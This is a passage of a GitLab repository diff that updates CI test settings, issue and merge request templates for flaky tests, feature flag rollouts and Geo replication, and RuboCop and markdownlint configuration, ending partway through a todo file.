@@ -37,8 +37,9 @@ workhorse:test go:
workhorse:test fips:
extends: .workhorse:test
+ image: registry.gitlab.com/gitlab-org/gitlab-omnibus-builder/ubuntu_20.04_fips:4.0.0
variables:
- WORKHORSE_TEST_FIPS_ENABLED: 1
+ FIPS_MODE: 1
workhorse:test race:
extends: .workhorse:test
diff --git a/.gitlab/issue_templates/Broken Master - Flaky.md b/.gitlab/issue_templates/Broken Master - Flaky.md
index bea12615e41..b87d9b5ee1f 100644
--- a/.gitlab/issue_templates/Broken Master - Flaky.md
+++ b/.gitlab/issue_templates/Broken Master - Flaky.md
@@ -16,7 +16,7 @@ Please read the below documentations for a workflow of triaging and resolving br
<!-- If the pipeline failure is reproducible, provide steps to recreate the issue locally. Please use an ordered list. -->
-Please refer to [Flaky tests documentation](https://docs.gitlab.com/ee/development/testing_guide/flaky_tests.html) to
+Please refer to [Flaky tests documentation](https://docs.gitlab.com/ee/development/testing_guide/flaky_tests.html) to
learn more about how to reproduce them.
### Proposed Resolution
@@ -25,4 +25,6 @@ learn more about how to reproduce them.
Please refer to the [Resolution guidance](https://about.gitlab.com/handbook/engineering/workflow/#resolution-of-broken-master) to learn more about resolution of broken master.
-/label ~"failure::flaky-test" ~"Engineering Productivity" ~"priority::2" ~"severity::3" ~"type::bug" ~"bug::transient"
+Once the flaky failure has been fixed on the default branch, open merge requests to cherry-pick the fix to the active stable branches.
+
+/label ~"type::maintenance" ~"failure::flaky-test" ~"priority::3" ~"severity::3"
diff --git a/.gitlab/issue_templates/Broken Master - Non-flaky.md b/.gitlab/issue_templates/Broken Master - Non-flaky.md
index 43e73fc5c5a..d2dc616ead8 100644
--- a/.gitlab/issue_templates/Broken Master - Non-flaky.md
+++ b/.gitlab/issue_templates/Broken Master - Non-flaky.md
@@ -21,4 +21,4 @@ Please read the below documentations for a workflow of triaging and resolving br
Please refer to the [Resolution guidance](https://about.gitlab.com/handbook/engineering/workflow/#resolution-of-broken-master) to learn more about resolution of broken master.
-/label ~"master:broken" ~"Engineering Productivity" ~"priority::1" ~"severity::1" ~"type::bug" ~"bug::transient"
+/label ~"master:broken" ~"Engineering Productivity" ~"priority::1" ~"severity::1" ~"type::maintenance" ~"maintenance::pipelines"
diff --git a/.gitlab/issue_templates/Doc_cleanup.md b/.gitlab/issue_templates/Doc_cleanup.md
index 3ea692ed1ac..1eb3829e281 100644
--- a/.gitlab/issue_templates/Doc_cleanup.md
+++ b/.gitlab/issue_templates/Doc_cleanup.md
@@ -1,5 +1,3 @@
-/labels ~"documentation" ~"docs-only" ~"documentation" ~"docs::improvement" ~"type::maintenance" ~"maintenance::refactor" ~"Seeking community contributions" ~"quick win" ~"Technical Writing"
-
<!--
* Use this template for documentation issues identified
* by [Vale](https://docs.gitlab.com/ee/development/documentation/testing.html#vale)
@@ -16,6 +14,8 @@ Do you want to work on this issue?
- **If the issue is unassigned**, in a comment, type `@docs-hackathon I would like to work on this issue` and a writer will assign it to you.
+ To be fair to others, do not ask for more than three issues at a time.
+
- **If the issue is assigned to someone already**, choose another issue. Do not open a merge request for this issue if you are not assigned.
## To resolve the issue
@@ -35,4 +35,4 @@ Thank you again for contributing to the GitLab documentation! :tada:
## Documentation issue
-
+/labels ~"documentation" ~"docs-only" ~"documentation" ~"docs::improvement" ~"type::maintenance" ~"maintenance::refactor" ~"Seeking community contributions" ~"quick win" ~"Technical Writing"
diff --git a/.gitlab/issue_templates/Experiment Successful Cleanup.md b/.gitlab/issue_templates/Experiment Successful Cleanup.md
index 1dd57332b8e..14a29452e49 100644
--- a/.gitlab/issue_templates/Experiment Successful Cleanup.md
+++ b/.gitlab/issue_templates/Experiment Successful Cleanup.md
@@ -11,6 +11,8 @@ The changes need to become an official part of the product.
- [ ] Determine whether the feature should apply to EE - and which tiers - and/or Core
- [ ] Determine if tracking should be kept as is, removed, or modified.
- [ ] Ensure any relevant documentation has been updated.
+- [ ] Determine whether there are other concerns that need to be considered before removing the feature flag.
+ - These are typically captured in the `Experiment Successful Cleanup Concerns` section of the rollout issue.
- [ ] Consider changes to any `feature_category:` introduced by the experiment if ownership is changing (PM for Growth and PM for the new category as DRIs)
- [ ] Check to see if the experiment introduced new design assets. Add them to the appropriate repos and document them if needed.
- [ ] Optional: Migrate experiment to a default enabled [feature flag](https://docs.gitlab.com/ee/development/feature_flags) for one milestone and add a changelog. Converting to a feature flag can be skipped at the ICs discretion if risk is deemed low with consideration to both SaaS and (if applicable) self managed
diff --git a/.gitlab/issue_templates/Feature Flag Roll Out.md b/.gitlab/issue_templates/Feature Flag Roll Out.md
index 3972368ddc4..8aa631dce76 100644
--- a/.gitlab/issue_templates/Feature Flag Roll Out.md
+++ b/.gitlab/issue_templates/Feature Flag Roll Out.md
@@ -113,12 +113,14 @@ For visibility, all `/chatops` commands that target production should be execute
For visibility, all `/chatops` commands that target production should be executed in the `#production` slack channel and cross-posted (with the command results) to the responsible team's slack channel (`#g_TEAM_NAME`).
- [ ] [Incrementally roll out](https://docs.gitlab.com/ee/development/feature_flags/controls.html#process) the feature.
+ - [ ] Between every step wait for at least 15 minutes and monitor the appropriate graphs on https://dashboards.gitlab.net.
- If the feature flag in code has [an actor](https://docs.gitlab.com/ee/development/feature_flags/#feature-actors), perform **actor-based** rollout.
- [ ] `/chatops run feature set <feature-flag-name> <rollout-percentage> --actors`
- If the feature flag in code does **NOT** have [an actor](https://docs.gitlab.com/ee/development/feature_flags/#feature-actors), perform time-based rollout (**random** rollout).
- [ ] `/chatops run feature set <feature-flag-name> <rollout-percentage> --random`
- Enable the feature globally on production environment.
- [ ] `/chatops run feature set <feature-flag-name> true`
+- [ ] Observe appropriate graphs on https://dashboards.gitlab.net and verify that services are not affected.
- [ ] Leave a comment on [the feature issue][main-issue] announcing that the feature has been globally enabled.
- [ ] Wait for [at least one day for the verification term](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#including-a-feature-behind-feature-flag-in-the-final-release).
diff --git a/.gitlab/issue_templates/Geo Replicate a new Git repository type.md b/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
index 571b0db0a30..97f756f0d02 100644
--- a/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
+++ b/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
@@ -18,7 +18,7 @@ If your Model's pluralized form is non-standard, i.e. it doesn't just end in `s`
-->
-## Replicate Cool Widgets
+## Replicate Cool Widgets - Repository
This issue is for implementing Geo replication and verification of Cool Widgets.
@@ -39,8 +39,6 @@ You can look into the following example for implementing replication/verificatio
### Modify database schemas to prepare to add Geo support for Cool Widgets
-You might do this section in its own merge request, but it is not required.
-
#### Add the registry table to track replication and verification state
Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/geo.md#tracking-database) independent of the main database. It is used to track the replication and verification state of all replicables. Every Model has a corresponding "registry" table in the Geo tracking database.
@@ -114,7 +112,7 @@ Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org
bin/rake db:migrate:geo
```
-- [ ] Be sure to commit the relevant changes in `ee/db/geo/structure.sql`
+- [ ] Be sure to commit the relevant changes in `ee/db/geo/structure.sql` and the file under `ee/db/geo/schema_migrations`
### Add verification state to the Model
@@ -146,7 +144,7 @@ The Geo primary site needs to checksum every replicable so secondaries can verif
t.datetime_with_timezone :verified_at
t.references :cool_widget, primary_key: true, default: nil, index: false, foreign_key: { on_delete: :cascade }
t.integer :verification_state, default: 0, limit: 2, null: false
- t.integer :verification_retry_count, limit: 2
+ t.integer :verification_retry_count, default: 0, limit: 2, null: false
t.binary :verification_checksum, using: 'verification_checksum::bytea'
t.text :verification_failure, limit: 255
@@ -185,7 +183,21 @@ The Geo primary site needs to checksum every replicable so secondaries can verif
bin/rake db:migrate
```
-- [ ] Be sure to commit the relevant changes in `db/structure.sql`
+- [ ] Be sure to commit the relevant changes in `db/structure.sql` and the file under `db/schema_migrations`
+
+- [ ] Add an entry for the state table in `db/docs/cool_widget_states.yml`
+
+ ```yaml
+ ---
+ table_name: cool_widget_states
+ classes:
+ - Geo::CoolWidgetState
+ feature_categories:
+ - geo_replication
+ description: Separate table for cool widget verification states
+ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/XXXXX
+ milestone: 'XX.Y'
+ ```
That's all of the required database changes.
@@ -371,7 +383,6 @@ That's all of the required database changes.
```shell
bin/feature-flag --ee geo_cool_widget_replication --type development --group 'group::geo'
- bin/feature-flag --ee geo_cool_widget_verification --type development --group 'group::geo'
```
- [ ] Add this replicator class to the method `replicator_classes` in
@@ -382,7 +393,6 @@ That's all of the required database changes.
::Geo::PackageFileReplicator,
::Geo::CoolWidgetReplicator
]
- end
```
- [ ] Create `ee/spec/replicators/geo/cool_widget_replicator_spec.rb` and perform the necessary setup to define the `model_record` variable for the shared examples:
@@ -478,25 +488,29 @@ That's all of the required database changes.
end
```
-- [ ] Add the following to `spec/factories/cool_widgets.rb`:
+- [ ] Add the following to `ee/spec/factories/cool_widgets.rb`:
```ruby
- trait :verification_succeeded do
- with_file
- verification_checksum { 'abc' }
- verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
- end
+ FactoryBot.modify do
+ trait :verification_succeeded do
+ with_file
+ verification_checksum { 'abc' }
+ verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
+ end
- trait :verification_failed do
- with_file
- verification_failure { 'Could not calculate the checksum' }
- verification_state { CoolWidget.verification_state_value(:verification_failed) }
+ trait :verification_failed do
+ with_file
+ verification_failure { 'Could not calculate the checksum' }
+ verification_state { CoolWidget.verification_state_value(:verification_failed) }
+ end
end
```
+ If there is not an existing factory for the object in `spec/factories/cool_widgets.rb`, wrap the traits in `FactoryBot.create` instead of `FactoryBot.modify`.
+
- [ ] Make sure the factory also allows setting a `project` attribute. If the model does not have a direct relation to a project, you can use a `transient` attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
-- [ ] Following [the example of Merge Request Diffs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63309) add a `Geo::CoolWidgetState` model in `ee/app/models/ee/geo/cool_widget_state.rb`:
+- [ ] Following [the example of Merge Request Diffs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63309) add a `Geo::CoolWidgetState` model in `ee/app/models/geo/cool_widget_state.rb`:
``` ruby
# frozen_string_literal: true
@@ -536,6 +550,8 @@ That's all of the required database changes.
end
```
+- [ ] Add `[:cool_widget, :remote_store]` and `[:geo_cool_widget_state, any]` to `skipped` in `spec/models/factories_spec.rb`
+
#### Step 2. Implement metrics gathering
Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus` for display in the UI, and sent to Prometheus:
@@ -556,16 +572,18 @@ Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus`
- [ ] Add the same fields to `GET /geo_nodes/status` example response in
`ee/spec/fixtures/api/schemas/public_api/v4/geo_node_status.json`.
- [ ] Add the following fields to the `Sidekiq metrics` table in `doc/administration/monitoring/prometheus/gitlab_metrics.md`:
- - `geo_cool_widgets`
- - `geo_cool_widgets_checksum_total`
- - `geo_cool_widgets_checksummed`
- - `geo_cool_widgets_checksum_failed`
- - `geo_cool_widgets_synced`
- - `geo_cool_widgets_failed`
- - `geo_cool_widgets_registry`
- - `geo_cool_widgets_verification_total`
- - `geo_cool_widgets_verified`
- - `geo_cool_widgets_verification_failed`
+ ```markdown
+ | `geo_cool_widgets` | Gauge | XX.Y | Number of Cool Widgets on primary | `url` |
+ | `geo_cool_widgets_checksum_total` | Gauge | XX.Y | Number of Cool Widgets checksummed successfully on primary | `url` |
+ | `geo_cool_widgets_checksummed` | Gauge | XX.Y | Number of Cool Widgets failed to calculate the checksum on primary | `url` |
+ | `geo_cool_widgets_checksum_failed` | Gauge | XX.Y | Number of Cool Widgets tried to checksum on primary | `url` |
+ | `geo_cool_widgets_synced` | Gauge | XX.Y | Number of syncable Cool Widgets synced on secondary | `url` |
+ | `geo_cool_widgets_failed` | Gauge | XX.Y | Number of syncable Cool Widgets failed to sync on secondary | `url` |
+ | `geo_cool_widgets_registry` | Gauge | XX.Y | Number of Cool Widgets in the registry | `url` |
+ | `geo_cool_widgets_verification_total` | Gauge | XX.Y | Number of Cool Widgets verified on secondary | `url` |
+ | `geo_cool_widgets_verified` | Gauge | XX.Y | Number of Cool Widgets' verifications failed on secondary | `url` |
+ | `geo_cool_widgets_verification_failed` | Gauge | XX.Y | Number of Cool Widgets' verifications tried on secondary | `url` |
+ ```
Cool Widget replication and verification metrics should now be available in the API, the `Admin > Geo > Nodes` view, and Prometheus.
@@ -731,6 +749,14 @@ As illustrated by the above two examples, batch destroy logic cannot be handled
end
end
```
+
+### Code Review
+
+When requesting review from database reviewers:
+
+- [ ] Include a comment mentioning that the change is based on a documented template.
+- [ ] `replicables_for_current_secondary` and `available_replicables` may differ per Model. If their queries are new, then add [query plans](https://docs.gitlab.com/ee/development/database_review.html#query-plans) to the MR description. An easy place to gather SQL queries is your GDK's `log/test.log` when running tests of these methods.
+
### Release Geo support of Cool Widgets
- [ ] In the rollout issue you created when creating the feature flag, modify the Roll Out Steps:
diff --git a/.gitlab/issue_templates/Geo Replicate a new blob type.md b/.gitlab/issue_templates/Geo Replicate a new blob type.md
index 121dbdf035f..9dfc83309cc 100644
--- a/.gitlab/issue_templates/Geo Replicate a new blob type.md
+++ b/.gitlab/issue_templates/Geo Replicate a new blob type.md
@@ -18,7 +18,7 @@ If your Model's pluralized form is non-standard, i.e. it doesn't just end in `s`
-->
-## Replicate Cool Widgets
+## Replicate Cool Widgets - Blob
This issue is for implementing Geo replication and verification of Cool Widgets.
@@ -41,8 +41,6 @@ You can look into the following examples of MRs for implementing replication/ver
### Modify database schemas to prepare to add Geo support for Cool Widgets
-You might do this section in its own merge request, but it is not required.
-
#### Add the registry table to track replication and verification state
Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/geo.md#tracking-database) independent of the main database. It is used to track the replication and verification state of all replicables. Every Model has a corresponding "registry" table in the Geo tracking database.
@@ -114,7 +112,7 @@ Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org
bin/rake db:migrate:geo
```
-- [ ] Be sure to commit the relevant changes in `ee/db/geo/structure.sql`
+- [ ] Be sure to commit the relevant changes in `ee/db/geo/structure.sql` and the file created under `ee/db/geo/schema_migrations`
### Add verification state fields on the Geo primary site
@@ -148,7 +146,7 @@ The Geo primary site needs to checksum every replicable so secondaries can verif
t.datetime_with_timezone :verified_at
t.references :cool_widget, primary_key: true, default: nil, index: false, foreign_key: { on_delete: :cascade }
t.integer :verification_state, default: 0, limit: 2, null: false
- t.integer :verification_retry_count, limit: 2
+ t.integer :verification_retry_count, default: 0, limit: 2, null: false
t.binary :verification_checksum, using: 'verification_checksum::bytea'
t.text :verification_failure, limit: 255
@@ -189,7 +187,21 @@ The Geo primary site needs to checksum every replicable so secondaries can verif
- [ ] If `cool_widgets` is a high-traffic table, follow [the database documentation to use `with_lock_retries`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/migration_style_guide.md#when-to-use-the-helper-method)
-- [ ] Be sure to commit the relevant changes in `db/structure.sql`
+- [ ] Be sure to commit the relevant changes in `db/structure.sql` and the file under `db/schema_migrations`
+
+- [ ] Add an entry for the state table in `db/docs/cool_widget_states.yml`
+
+ ```yaml
+ ---
+ table_name: cool_widget_states
+ classes:
+ - Geo::CoolWidgetState
+ feature_categories:
+ - geo_replication
+ description: Separate table for cool widget verification states
+ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/XXXXX
+ milestone: 'XX.Y'
+ ```
That's all of the required database changes.
@@ -248,7 +260,7 @@ That's all of the required database changes.
# @param primary_key_in [Range, CoolWidget] arg to pass to primary_key_in scope
# @return [ActiveRecord::Relation<CoolWidget>] everything that should be synced to this node, restricted by primary key
- def self.replicables_for_current_secondary(primary_key_in)
+ def replicables_for_current_secondary(primary_key_in)
# This issue template does not help you write this method.
#
# This method is called only on Geo secondary sites. It is called when
@@ -329,7 +341,6 @@ That's all of the required database changes.
```shell
bin/feature-flag --ee geo_cool_widget_replication --type development --group 'group::geo'
- bin/feature-flag --ee geo_cool_widget_verification --type development --group 'group::geo'
```
- [ ] Add this replicator class to the method `replicator_classes` in
@@ -340,7 +351,6 @@ That's all of the required database changes.
::Geo::PackageFileReplicator,
::Geo::CoolWidgetReplicator
]
- end
```
- [ ] Create `ee/spec/replicators/geo/cool_widget_replicator_spec.rb` and perform the necessary setup to define the `model_record` variable for the shared examples:
@@ -439,22 +449,33 @@ That's all of the required database changes.
- [ ] Add the following to `spec/factories/cool_widgets.rb`:
```ruby
- trait :verification_succeeded do
- with_file
- verification_checksum { 'abc' }
- verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
- end
+ FactoryBot.modify do
+ trait :verification_succeeded do
+ with_file
+ verification_checksum { 'abc' }
+ verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
+ end
- trait :verification_failed do
- with_file
- verification_failure { 'Could not calculate the checksum' }
- verification_state { CoolWidget.verification_state_value(:verification_failed) }
+ trait :verification_failed do
+ with_file
+ verification_failure { 'Could not calculate the checksum' }
+ verification_state { CoolWidget.verification_state_value(:verification_failed) }
+ end
end
```
+ If there is not an existing factory for the object in `spec/factories/cool_widgets.rb`, wrap the traits in `FactoryBot.create` instead of `FactoryBot.modify`
+
+ [ ] Make sure the factory supports the `:remote_store` trait. If not, add something like
+
+ ```ruby
+ trait :remote_store do
+ file_store { CoolWidget::FileUploader::Store::REMOTE }
+ end
+ ```
- [ ] Make sure the factory also allows setting a `project` attribute. If the model does not have a direct relation to a project, you can use a `transient` attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
-- [ ] Following [the example of Merge Request Diffs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63309) add a `Geo::CoolWidgetState` model in `ee/app/models/ee/geo/cool_widget_state.rb`:
+- [ ] Following [the example of Merge Request Diffs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63309) add a `Geo::CoolWidgetState` model in `ee/app/models/geo/cool_widget_state.rb`:
``` ruby
# frozen_string_literal: true
@@ -494,6 +515,8 @@ That's all of the required database changes.
end
```
+- [ ] Add `[:cool_widget, :remote_store]` and `[:geo_cool_widget_state, any]` to `skipped` in `spec/models/factories_spec.rb`
+
#### Step 2. Implement metrics gathering
Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus` for display in the UI, and sent to Prometheus:
@@ -514,18 +537,21 @@ Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus`
- [ ] Add the same fields to `GET /geo_nodes/status` example response in
`ee/spec/fixtures/api/schemas/public_api/v4/geo_node_status.json`.
- [ ] Add the following fields to the `Sidekiq metrics` table in `doc/administration/monitoring/prometheus/gitlab_metrics.md`:
- - `geo_cool_widgets`
- - `geo_cool_widgets_checksum_total`
- - `geo_cool_widgets_checksummed`
- - `geo_cool_widgets_checksum_failed`
- - `geo_cool_widgets_synced`
- - `geo_cool_widgets_failed`
- - `geo_cool_widgets_registry`
- - `geo_cool_widgets_verification_total`
- - `geo_cool_widgets_verified`
- - `geo_cool_widgets_verification_failed`
-
-Cool Widget replication and verification metrics should now be available in the API, the `Admin > Geo > Nodes` view, and Prometheus.
+
+ ```markdown
+ | `geo_cool_widgets` | Gauge | XX.Y | Number of Cool Widgets on primary | `url` |
+ | `geo_cool_widgets_checksum_total` | Gauge | XX.Y | Number of Cool Widgets checksummed successfully on primary | `url` |
+ | `geo_cool_widgets_checksummed` | Gauge | XX.Y | Number of Cool Widgets failed to calculate the checksum on primary | `url` |
+ | `geo_cool_widgets_checksum_failed` | Gauge | XX.Y | Number of Cool Widgets tried to checksum on primary | `url` |
+ | `geo_cool_widgets_synced` | Gauge | XX.Y | Number of syncable Cool Widgets synced on secondary | `url` |
+ | `geo_cool_widgets_failed` | Gauge | XX.Y | Number of syncable Cool Widgets failed to sync on secondary | `url` |
+ | `geo_cool_widgets_registry` | Gauge | XX.Y | Number of Cool Widgets in the registry | `url` |
+ | `geo_cool_widgets_verification_total` | Gauge | XX.Y | Number of Cool Widgets verified on secondary | `url` |
+ | `geo_cool_widgets_verified` | Gauge | XX.Y | Number of Cool Widgets' verifications failed on secondary | `url` |
+ | `geo_cool_widgets_verification_failed` | Gauge | XX.Y | Number of Cool Widgets' verifications tried on secondary | `url` |
+ ```
+
+ Cool Widget replication and verification metrics should now be available in the API, the `Admin > Geo > Nodes` view, and Prometheus.
#### Step 3. Implement the GraphQL API
@@ -690,6 +716,13 @@ As illustrated by the above two examples, batch destroy logic cannot be handled
end
```
+### Code Review
+
+When requesting review from database reviewers:
+
+- [ ] Include a comment mentioning that the change is based on a documented template.
+- [ ] `replicables_for_current_secondary` and `available_replicables` may differ per Model. If their queries are new, then add [query plans](https://docs.gitlab.com/ee/development/database_review.html#query-plans) to the MR description. An easy place to gather SQL queries is your GDK's `log/test.log` when running tests of these methods.
+
### Release Geo support of Cool Widgets
- [ ] In the rollout issue you created when creating the feature flag, modify the Roll Out Steps:
diff --git a/.gitlab/merge_request_templates/New Version of gitlab-styles.md b/.gitlab/merge_request_templates/New Version of gitlab-styles.md
index e6cde691e19..5e7f2319650 100644
--- a/.gitlab/merge_request_templates/New Version of gitlab-styles.md
+++ b/.gitlab/merge_request_templates/New Version of gitlab-styles.md
@@ -1,10 +1,11 @@
-<!-- Title suggestion: Upgrade `gilab-styles` to <VERSION X.Y.Z> - dry-run -->
+<!-- Title suggestion: Upgrade `gitlab-styles` to <VERSION X.Y.Z> - dry-run -->
## What does this MR do and why?
Validating upcoming release of `gitlab-styles` <VERSION X.Y.Z>. See <LINK TO RELEASE MR>.
This MR can be reused to upgrade `gitlab-styles` in this project after a new version of `gitlab-styles` is released.
+
### Checklist
- [ ] Verify upcoming release of `gitlab-styles`
@@ -13,8 +14,8 @@ This MR can be reused to upgrade `gitlab-styles` in this project after a new ver
- [ ] Update [bundler's checksum file](https://docs.gitlab.com/ee/development/gemfile.html#updating-the-checksum-file) via `bundle exec bundler-checksum init`
- [ ] `rubocop` job
- [ ] Inspect any warnings/errors
- - [ ] (Optional) [Generate TODOs](https://docs.gitlab.com/ee/development/contributing/style_guides.html#resolving-rubocop-exceptions) for pending offenses
- - [ ] Put :new: cop rules (or if configuration is changed) in "grace period". See [docs](https://docs.gitlab.com/ee/development/contributing/style_guides.html#enabling-a-new-cop).
+ - [ ] (Optional) [Generate TODOs](https://docs.gitlab.com/ee/development/rubocop_development_guide.html#resolving-rubocop-exceptions) for pending offenses
+ - [ ] Put :new: cop rules (or if configuration is changed) in "grace period". See [docs](https://docs.gitlab.com/ee/development/rubocop_development_guide.html#enabling-a-new-cop).
- [ ] (Optional) Remove any offenses for disabled cops
- Use `grep --perl-regexp -o ":\d+\d+: \w: \[\S+\] ([\w/]+)" raw_job_output.log | awk '{print $4}' | sort | uniq -c` to get a list of cop rules with offenses. Where `raw_job_output.log` is the raw output of the `rubocop` job
- [ ] Ignore offenses related to temporary changes in `Gemfile`
@@ -32,9 +33,7 @@ This MR can be reused to upgrade `gitlab-styles` in this project after a new ver
- [ ] (Optional) Regenerate TODOs for new/changed cop rules
- [ ] Make sure CI passes :green_heart:
- [ ] Let the MR being reviewed again and merged
- - [ ] Make sure CI passes :green_heart:
- - [ ] Let the MR being reviewed again and merged
- - [ ] (Optional) Refine this [MR template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/New%20Version%20of%20gitlab-styles.md).
+ - [ ] (Optional) Refine this [MR template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/New%20Version%20of%20gitlab-styles.md).
## MR acceptance checklist
diff --git a/.gitlab/merge_request_templates/Security Release.md b/.gitlab/merge_request_templates/Security Release.md
index 334bcb16023..b443dd7570e 100644
--- a/.gitlab/merge_request_templates/Security Release.md
+++ b/.gitlab/merge_request_templates/Security Release.md
@@ -27,7 +27,7 @@ See [the general developer security release guidelines](https://gitlab.com/gitla
- [ ] Ensure it's approved by a maintainer.
- [ ] Ensure this merge request and the related security issue have a `~severity::x` label
-**Note:** Reviewer/maintainer should not be a Release Manager.
+**Note:** Reviewer/maintainer should not be a [Release Manager].
## Maintainer checklist
@@ -45,3 +45,4 @@ See [the general developer security release guidelines](https://gitlab.com/gitla
[Approval Guidelines]: https://docs.gitlab.com/ee/development/code_review.html#approval-guidelines
[Canonical repository]: https://gitlab.com/gitlab-org/gitlab
[`e2e:package-and-test` job]: https://docs.gitlab.com/ee/development/testing_guide/end_to_end/#using-the-package-and-test-job
+[Release Manager]: https://about.gitlab.com/community/release-managers/
diff --git a/.markdownlint.yml b/.markdownlint.yml
index 2ad24e5f754..6be0b9fad29 100644
--- a/.markdownlint.yml
+++ b/.markdownlint.yml
@@ -109,6 +109,7 @@ proper-names:
"PgBouncer",
"Postfix",
"PostgreSQL",
+ "PowerShell",
"Praefect",
"Prometheus",
"Puma",
diff --git a/.rubocop.yml b/.rubocop.yml
index 3a3150f9fbc..e58dd4f9fd0 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -95,7 +95,6 @@ InternalAffairs/DeprecateCopHelper:
- spec/rubocop/**/*.rb
Lint/LastKeywordArgument:
- Enabled: true
Safe: false
Lint/EmptyFile:
@@ -409,6 +408,7 @@ Database/MultipleDatabases:
- 'ee/lib/ee/gitlab/background_migration/**/*.rb'
- 'spec/lib/gitlab/background_migration/**/*.rb'
- 'spec/lib/gitlab/database/**/*.rb'
+ - 'spec/tasks/gitlab/db_rake_spec.rb'
Migration/BatchMigrationsPostOnly:
Enabled: true
@@ -416,6 +416,11 @@ Migration/BatchMigrationsPostOnly:
- 'db/migrate/*.rb'
- 'db/post_migrate/*.rb'
+BackgroundMigration/FeatureCategory:
+ Enabled: true
+ Include:
+ - 'lib/gitlab/background_migration/*.rb'
+
# See https://gitlab.com/gitlab-org/gitlab/-/issues/373194
Gitlab/RSpec/AvoidSetup:
Enabled: true
@@ -909,5 +914,7 @@ Cop/FeatureFlagUsage:
- 'lib/gitlab/redis/**/*.rb'
- 'lib/gitlab/patch/**/*.rb'
- 'lib/gitlab/instrumentation/**/*.rb'
- Exclude:
- - 'lib/gitlab/redis/multi_store.rb'
+
+# See https://gitlab.com/gitlab-org/gitlab/-/issues/386618
+Layout/HashAlignment:
+ Enabled: false
diff --git a/.rubocop_todo/background_migration/feature_category.yml b/.rubocop_todo/background_migration/feature_category.yml
new file mode 100644
index 00000000000..69467a0b492
--- /dev/null
+++ b/.rubocop_todo/background_migration/feature_category.yml
@@ -0,0 +1,3 @@
+---
+BackgroundMigration/FeatureCategory:
+ Details: grace period
diff --git a/.rubocop_todo/cop/user_admin.yml b/.rubocop_todo/cop/user_admin.yml
index 6f8cc5429c2..c4d3e13b0b5 100644
--- a/.rubocop_todo/cop/user_admin.yml
+++ b/.rubocop_todo/cop/user_admin.yml
@@ -19,7 +19,6 @@ Cop/UserAdmin:
- 'app/helpers/visibility_level_helper.rb'
- 'app/models/concerns/protected_ref_access.rb'
- 'app/models/concerns/spammable.rb'
- - 'app/models/issue_collection.rb'
- 'app/models/merge_requests_closing_issues.rb'
- 'app/models/protected_branch.rb'
- 'app/models/user.rb'
diff --git a/.rubocop_todo/database/multiple_databases.yml b/.rubocop_todo/database/multiple_databases.yml
index 43da6f8a5b4..c59e8a8c15e 100644
--- a/.rubocop_todo/database/multiple_databases.yml
+++ b/.rubocop_todo/database/multiple_databases.yml
@@ -1,14 +1,5 @@
---
Database/MultipleDatabases:
Exclude:
- - 'db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb'
- 'db/post_migrate/20210811122206_update_external_project_bots.rb'
- 'db/post_migrate/20210812013042_remove_duplicate_project_authorizations.rb'
- - 'ee/spec/services/ee/merge_requests/update_service_spec.rb'
- - 'spec/support/caching.rb'
- - 'spec/support/helpers/database/database_helpers.rb'
- - 'spec/support/helpers/database/table_schema_helpers.rb'
- - 'spec/support/helpers/migrations_helpers.rb'
- - 'spec/support/helpers/query_recorder.rb'
- - 'spec/support/helpers/usage_data_helpers.rb'
- - 'spec/tasks/gitlab/db_rake_spec.rb'
diff --git a/.rubocop_todo/fips/sha1.yml b/.rubocop_todo/fips/sha1.yml
index 35221d9d3ff..b07fef0ca54 100644
--- a/.rubocop_todo/fips/sha1.yml
+++ b/.rubocop_todo/fips/sha1.yml
@@ -88,7 +88,6 @@ Fips/SHA1:
- 'spec/lib/gitlab/git/tag_spec.rb'
- 'spec/migrations/20220107064845_populate_vulnerability_reads_spec.rb'
- 'spec/migrations/20220524074947_finalize_backfill_null_note_discussion_ids_spec.rb'
- - 'spec/migrations/delete_security_findings_without_uuid_spec.rb'
- 'spec/migrations/schedule_recalculate_vulnerability_finding_signatures_for_findings_spec.rb'
- 'spec/models/ci/artifact_blob_spec.rb'
- 'spec/models/ci/job_artifact_spec.rb'
diff --git a/.rubocop_todo/gitlab/namespaced_class.yml b/.rubocop_todo/gitlab/namespaced_class.yml
index e49169bae67..f394851193c 100644
--- a/.rubocop_todo/gitlab/namespaced_class.yml
+++ b/.rubocop_todo/gitlab/namespaced_class.yml
@@ -48,7 +48,6 @@ Gitlab/NamespacedClass:
- 'app/finders/feature_flags_user_lists_finder.rb'
- 'app/finders/fork_projects_finder.rb'
- 'app/finders/fork_targets_finder.rb'
- - 'app/finders/freeze_periods_finder.rb'
- 'app/finders/git_refs_finder.rb'
- 'app/finders/group_descendants_finder.rb'
- 'app/finders/group_finder.rb'
@@ -198,7 +197,6 @@ Gitlab/NamespacedClass:
- 'app/models/issuable_severity.rb'
- 'app/models/issue.rb'
